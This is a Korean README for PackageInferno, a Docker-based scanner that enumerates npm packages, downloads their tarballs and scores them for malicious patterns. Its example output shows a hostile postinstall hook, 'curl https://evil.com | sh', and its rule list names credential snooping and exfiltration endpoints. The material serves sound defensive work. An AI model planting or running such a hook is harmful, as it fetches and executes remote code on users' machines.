
커뮤니티를 위한 공용 패키지 스캐너
간단하면서도 강력한, Docker 우선 npm 공급망 스캐너입니다. 하나의 compose 파일로 다음을 실행합니다:
컨테이너 전용 에디션입니다. 이 프로젝트는 EC2, SQS, RDS를 사용하여 확장 가능하게 구축할 수 있으며, 대부분의 설정이 이미 도구 세트에 포함되어 있습니다.
scan.yml을 통해 설정 가능한 규칙 (허용 목록, 임계값, YARA)scan_runs) 바로 사용 가능~/.aws 사용)docker-compose.yml – 서비스: db, enumerator, fetcher, analyzer, dashboard, init-dbenumerator/ – NDJSON 큐를 구축하는 Node 워커fetcher/ – tarball을 다운로드하는 Node 워커 (+ S3 업로드 가능)analyzer/ – Python 정적 분석기 (+ 선택적 YARA 인라인)dashboard/ – Streamlit 앱 (포트 8501)infra/migrations.sql – 핵심 DB 스키마 (packages, versions, findings, scores, indexes)infra/20251106_scan_runs.sql – 스캔 기록 테이블scan.yml – 분석 설정 (규칙, 점수, 허용 목록, YARA)scripts/run_pipeline.sh – enumerate → fetch → analyze 실행scripts/init_db.sh – DB 스키마 초기화scripts/test_setup.sh – 자동 설정 검증SCANNING_GUIDE.md – 상세 스캔 전략 및 예제필수: Docker Desktop (또는 엔진) + Compose v2.
curl -fsSL https://raw.githubusercontent.com/MHaggis/Package-Inferno/main/install.sh | bash
이 명령어는 리포지토리를 ~/package-inferno에 클론하고 시작 방법을 안내합니다.
GitHub Container Registry에서 미리 빌드된 컨테이너를 가져와 실행:
# 설정 파일 및 스크립트를 위해 리포지토리 클론
git clone https://github.com/MHaggis/Package-Inferno.git
cd Package-Inferno
# 미리 빌드된 이미지로 실행
docker compose -f docker-compose.ghcr.yml up -d db
./scripts/init_db.sh
SEEDS="lodash,express" docker compose -f docker-compose.ghcr.yml run --rm enumerator
docker compose -f docker-compose.ghcr.yml run --rm fetcher
docker compose -f docker-compose.ghcr.yml run --rm analyzer
사용 가능한 이미지:
ghcr.io/mhaggis/package-inferno/enumerator:mainghcr.io/mhaggis/package-inferno/fetcher:mainghcr.io/mhaggis/package-inferno/analyzer:main테스트 스크립트를 실행하여 설치를 검증:
./scripts/test_setup.sh
다음을 검사:
docker compose up -d db
./scripts/init_db.sh
./scripts/run_pipeline.sh
docker compose up -d dashboard
# http://localhost:8501 열기
결과는 ./out/findings/*.findings.json 및 DB가 활성화된 경우 findings 테이블에 저장됩니다.
PackageInferno는 목표에 따라 여러 스캔 전략을 지원합니다:
분석하려는 특정 패키지를 대상으로 설정:
# 시드로 한 번에 실행
export SEEDS="lodash,express,axios"
./scripts/run_pipeline.sh
# 또는 파일에서 읽기
echo -e "react\nvue\nangular" > packages.txt
export SEEDS_FILE=packages.txt
./scripts/run_pipeline.sh
초기 테스트 방법: SEEDS="is-odd,is-even" 사용하여 빠르게 검증.
_all_docs)npm 레지스트리에서 페이지네이션으로 패키지 스캔:
# 이전 실행 결과 정리
rm -rf downloads/* out/*
# 페이지 2개, 페이지당 10개 패키지 (총 20개)
export MAX_CHUNKS=2 # 페이지 수
export CHUNK_LIMIT=10 # 페이지당 패키지 수
unset SEEDS # 중요: 시드 모드 비활성화
# 각 단계를 개별적으로 실행하여 가시성 확보
docker compose run --rm enumerator # 패키지 발견 및 큐잉
docker compose run --rm fetcher # tarball 다운로드
docker compose run --rm analyzer # 위협 스캔
출력 예시:
config: chunkLimit=10, maxChunks=2
checking recent changes feed...
changes feed: enqueued 2 new versions
enumerating via _all_docs (fresh scan)
page 1/2 count: 10
page 2/2 count: 10
done, enqueued 22 (22 new versions)
전체 npm 레지스트리 스캔:
export MAX_CHUNKS=0 # 0 = 무제한
export CHUNK_LIMIT=100 # 효율성을 위해 큰 배치
./scripts/run_pipeline.sh
경고: 수시간/일 동안 실행되며 수십만 개의 패키지를 스캔합니다. 디스크 공간과 데이터베이스 크기를 모니터링하세요.
Enumerator는 상태를 ./out/enumerator_state.json에 커서 위치와 함께 저장합니다:
{
"last_seq": "0",
"last_startkey": "package-name",
"last_run": "2025-11-23T19:24:49.123Z",
"last_processed": 22,
"last_new": 22
}
파이프라인을 다시 실행하면 자동으로 마지막 커서에서 재개됩니다:
./scripts/run_pipeline.sh # 자동 재개
새로 스캔하려면:
rm -f out/enumerator_state.json
./scripts/run_pipeline.sh
22개 패키지의 2페이지 스캔 결과, PackageInferno가 탐지한 내용:
-- 점수별 상위 의심 패키지
SELECT p.name, s.score, s.label, COUNT(f.id) as findings
FROM packages p
JOIN versions v ON p.id = v.package_id
JOIN scores s ON v.id = s.version_id
LEFT JOIN findings f ON v.id = f.version_id
GROUP BY p.name, s.score, s.label
ORDER BY s.score DESC;
-- 결과:
name | score | label | findings
-----------------------+-------+------------+----------
rendition | 606 | malicious | 153
vs-deploy | 454 | malicious | 119
--123hoodmane-pyodide | 213 | malicious | 46
rendition이 왜 의심스러운가?
url_outside_allowlist - 허용되지 않은 도메인suspicious_pattern - 셸/eval 패턴advanced_obfuscation - 16진수 인코딩, XOR, 문자열 배열big_base64_blob - 대형 Base64 페이로드url_in_code - 내장 URLscan.yml에서 설정된 점수 시스템은 이러한 결과를 집계하여 위험 점수와 레이블(clean, suspicious, malicious)을 생성합니다.
docker compose up -d dashboard 실행 후 http://localhost:8501 열기
기능:
직접 SQL로 맞춤 분석:
# 데이터베이스 연결
docker exec -it pi-postgres psql -U piuser -d packageinferno
유용한 쿼리:
-- 자격 증명 도용 시도가 있는 패키지
SELECT DISTINCT p.name, v.version, s.score
FROM packages p
JOIN versions v ON p.id = v.package_id
JOIN findings f ON v.id = f.version_id
JOIN scores s ON v.id = s.version_id
WHERE f.rule = 'env_snoop'
ORDER BY s.score DESC;
-- 발견된 모든 C2/웹훅 대상
SELECT p.name, f.details->>'endpoints' as c2_endpoints
FROM packages p
JOIN versions v ON p.id = v.package_id
JOIN findings f ON v.id = f.version_id
WHERE f.rule = 'c2_webhook';
-- 타입스쿼팅 시도
SELECT
p.name,
f.details->>'target_package' as impersonating,
f.details->>'similarity' as similarity_pct,
f.details->>'typosquat_type' as attack_type
FROM packages p
JOIN versions v ON p.id = v.package_id
JOIN findings f ON v.id = f.version_id
WHERE f.rule = 'typosquat_detected'
ORDER BY (f.details->>'similarity')::float DESC;
-- 네이티브 바이너리가 있는 패키지
SELECT p.name, f.details->>'path' as binary_path
FROM packages p
JOIN versions v ON p.id = v.package_id
JOIN findings f ON v.id = f.version_id
WHERE f.rule = 'native_binary_present';
결과는 ./out/findings/ 아래에 구조화된 JSON으로도 저장됩니다:
# 특정 패키지 결과 보기
cat out/findings/[email protected] | jq .
# 심각도별 결과 개수
jq -r '.findings[].severity' out/findings/*.findings.json | sort | uniq -c
# 발견된 모든 C2 URL 추출
jq -r '.findings[] | select(.rule=="c2_webhook") | .details.full_urls[]' out/findings/*.findings.json
S3에 아티팩트를 저장하려면:
package-inferno-tarballs (원본 npm tarball)package-inferno-findings (분석기 출력)~/.aws에 유효한 자격 증명이 있는지 확인 (프로필 또는 환경 변수 기반)export AWS_REGION=us-west-2
export S3_TARBALLS=package-inferno-tarballs
export S3_FINDINGS=package-inferno-findings
export AWS_PROFILE=default # 선택 사항; 또는 환경 자격 증명 사용
compose는 ~/.aws를 fetcher와 analyzer에 마운트합니다. LOCAL_ONLY=false이면 fetcher가 tarball을 S3_TARBALLS에 업로드합니다. S3_FINDINGS가 설정되면 analyzer가 로컬에 쓴 후 findings JSON을 업로드합니다.
최소 IAM 정책 예시 (사용자/역할에 연결):
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "S3Access",
"Effect": "Allow",
"Action": ["s3:PutObject","s3:GetObject","s3:ListBucket"],
"Resource": [
"arn:aws:s3:::package-inferno-tarballs",
"arn:aws:s3:::package-inferno-tarballs/*",
"arn:aws:s3:::package-inferno-findings",
"arn:aws:s3:::package-inferno-findings/*"
]
}
]
}
주요 설정은 scan.yml에 있습니다. 주요 항목:
analysis.allow_domains – "allowlist 외부"로 간주되지 않을 도메인analysis.allowlist.build_tools – 무해한 빌드 단계용 정규식analysis.yara.* – 인라인 YARA 활성화 (기본 켜짐), 규칙 경로, 크기/시간 제한scoring.rule_weights 및 scoring.thresholds – "suspicious/malicious" 임계값 조정설정 가능한 컨테이너 환경 변수:
DAYS (기본 30), CHUNK_LIMIT (기본 100), MAX_CHUNKS (기본 5)SEEDS, SEEDS_FILE – 시드 패키지 이름LOCAL_ONLY=true (파일로 큐잉), DB_URL (DB 중복 제거용)LOCAL_ONLY=false (tarball을 S3에 업로드)S3_TARBALLS, AWS_REGION, AWS_PROFILEMAX_EXTRACT_BYTES=0 (무제한 추출)S3_FINDINGS, AWS_REGION로컬 compose용 DB URL:
postgres://piuser:pipass@db:5432/packageinferno
./out/fetch_queue.ndjson에 씁니다. (선택적으로 "queued" 버전을 DB에 upsert)./downloads에 다운로드하며, 설정된 경우 S3에 업로드합니다../out/findings에 씁니다. DB가 설정된 경우 findings와 scores를 upsert합니다.enumerator/src/enumerator.js)목적: 스캔할 npm 패키지를 발견하고 작업 큐를 구축합니다.
기능:
SEEDS 환경 변수 또는 SEEDS_FILE을 통해 특정 패키지 스캔_changes 엔드포인트를 모니터링하여 최신 업데이트 확인_all_docs 엔드포인트 페이지네이션 (재개 가능한 커서)./out/fetch_queue.ndjson 또는 SQS로 NDJSON 큐 출력주요 환경 변수:
SEEDS="pkg1,pkg2" – 쉼표로 구분된 스캔할 패키지 이름SEEDS_FILE – 한 줄에 하나의 패키지가 있는 텍스트 파일 경로MAX_CHUNKS=5 – 페이지네이션 제한 (0 = 무제한)CHUNK_LIMIT=100 – API 페이지당 패키지 수DB_URL – 중복 제거를 위한 Postgres 연결사용 예:
# 특정 패키지 스캔
export SEEDS="lodash,express,axios"
docker compose run --rm enumerator
# 파일에서 스캔
echo -e "react\nvue\nangular" > packages.txt
export SEEDS_FILE=packages.txt
docker compose run --rm enumerator
fetcher/src/fetcher.js)목적: 레지스트리에서 npm tarball을 다운로드합니다.
기능:
./out/fetch_queue.ndjson (또는 SQS)에서 큐 읽기./downloads/에 [email protected] 형식으로 저장S3_TARBALLS)에 업로드주요 환경 변수:
LOCAL_ONLY=true – S3 업로드 건너뛰기 (로컬 전용 모드)S3_TARBALLS – tarball 저장용 S3 버킷 이름DOWNLOAD_DIR=./downloads – 로컬 출력 디렉터리MAX_RETRIES=5 – HTTP 재시도 횟수S3 키 형식: npm-raw-tarballs/{name}/{version}.tgz
analyzer/src/analyzer.py)목적: 패키지에서 악성 패턴을 탐지하는 정적 분석 엔진입니다.
기능:
package.json 파싱하여 메타데이터 및 라이프사이클 훅 확인scan.yml의 가중치 규칙을 사용하여 결과 점수 계산./out/findings/에 쓰고 DB에 upsert탐지 규칙 (전체 목록은 analyzer/src/analyzer.py 참조):
lifecycle_script – 위험한 install/postinstall 훅url_outside_allowlist – 허용되지 않은 도메인으로 네트워크 호출c2_webhook – 알려진 데이터 유출 엔드포인트 (Discord, Slack, Telegram)env_snoop – AWS 키, 토큰, 비밀번호 접근writes_outside_pkg – .ssh, .npmrc, 시스템 디렉터리에 FS 쓰기typosquat_detected – 인기 패키지와 유사한 패키지 이름advanced_obfuscation – 16진수, XOR, 문자열 배열, 제어 흐름 평탄화yara_match – YARA 규칙 적중 (악성코드, 익스플로잇, 웹셸)phishing_form – 자격 증명 수집 폼native_binary_present – PE/ELF/Mach-O 실행 파일주요 환경 변수:
MAX_EXTRACT_BYTES=0 – 추출 크기 제한 (0 = 무제한)SCAN_YML=/app/scan.yml – 설정 파일 경로DB_URL – 결과 저장용 Postgres 연결S3_FINDINGS – 결과 업로드용 S3 버킷출력 형식 (*.findings.json):
{
"tgz": "/downloads/[email protected]",
"findings": [
{
"rule": "lifecycle_script",
"severity": "high",
"details": {
"key": "postinstall",
"value": "curl https://evil.com | sh",
"tags": ["shell_spawn", "downloader"],
"explanation": "고위험 postinstall 훅: shell_spawn, downloader"
}
}
]
}
1. 패턴 기반 탐지 (analyzer/src/analyzer.py에 추가):
# 정규식 패턴 정의
CUSTOM_PATTERN_RE = re.compile(rb'dangerous-function\s*\(', re.I)
# analyze_file_bytes() 함수에 추가
def analyze_file_bytes(path: Path, b: bytes, allow_domains: list[str]):
# ... 기존 코드 ...
# 사용자 정의 검사
if CUSTOM_PATTERN_RE.search(b):
out.append({
'rule': 'custom_dangerous_function',
'severity': 'high',
'details': {
'path': str(path),
'explanation': '위험한 dangerous-function 호출 감지'
}
})
return out
2. 점수 가중치 추가 (scan.yml):
scoring:
rule_weights:
custom_dangerous_function: 6 # 새 규칙
# ... 기존 규칙 ...
thresholds:
suspicious: 7
malicious: 12
3. 점수 함수 업데이트 (analyzer/src/analyzer.py):
def score_findings(findings, scoring):
weights = scoring.get('rule_weights', {})
score = 0
for f in findings:
rule = f['rule']
w = 0
# ... 기존 규칙 ...
elif rule == 'custom_dangerous_function':
w = weights.get('custom_dangerous_function', 6)
score += int(w)
# ... 나머지 함수 ...
1. 사용자 정의 규칙 파일 생성 (yara-rules/custom.yar):
rule CustomMalware {
meta:
description = "사용자 정의 위협 패턴 탐지"
severity = "high"
strings:
$s1 = "malicious_string" ascii
$s2 = /evil_regex_[0-9]{4}/
condition:
any of them
}
2. scan.yml 업데이트:
analysis:
yara:
enabled: true
rules_path: yara-rules/custom.yar # 규칙 경로 지정
max_file_size_mb: 10
timeout_seconds: 30
3. docker-compose.yml에 사용자 정의 규칙 마운트:
analyzer:
volumes:
- ./yara-rules:/app/yara-rules:ro
오탐을 줄이기 위해 scan.yml에 신뢰할 수 있는 도메인 추가:
analysis:
allow_domains:
- registry.npmjs.org
- github.com
- your-cdn.com # 도메인 추가
합법적인 빌드 명령어 허용 목록:
analysis:
allowlist:
build_tools:
- \bmy-custom-build-tool\b
- \bmake\s+clean\b
docker compose up -d db가 실행 중인지 확인한 후 ./scripts/init_db.sh를 다시 실행하세요.~/.aws/credentials, AWS_REGION, 버킷 정책/권한을 확인하세요.scan.yml에서 파일 크기 제한을 낮추거나 인라인 YARA를 비활성화하세요 (analysis.yara.enabled: false).CHUNK_LIMIT을 낮추거나 MAX_CHUNKS를 점진적으로 늘리세요.| 모드 | 사용 사례 | 속도 | 범위 | 명령 |
|---|
| 특정 시드 | 알려진 패키지 테스트/조사 | 가장 빠름 | 대상 지정 | SEEDS="pkg1,pkg2" |
| 소규모 배치 | 설정 검증, 샘플 스캔 | 빠름 | 10-100개 패키지 | MAX_CHUNKS=2 CHUNK_LIMIT=10 |
| 전체 레지스트리 | 포괄적 공급망 감사 | 수시간~수일 | 2M+ 패키지 | MAX_CHUNKS=0 CHUNK_LIMIT=100 |
| 변경 피드 | 새 릴리스 모니터링 (기본 포함) | 실시간 | 최근 업데이트 | 내장 |
DB_URL (결과 및 점수를 Postgres에 기록)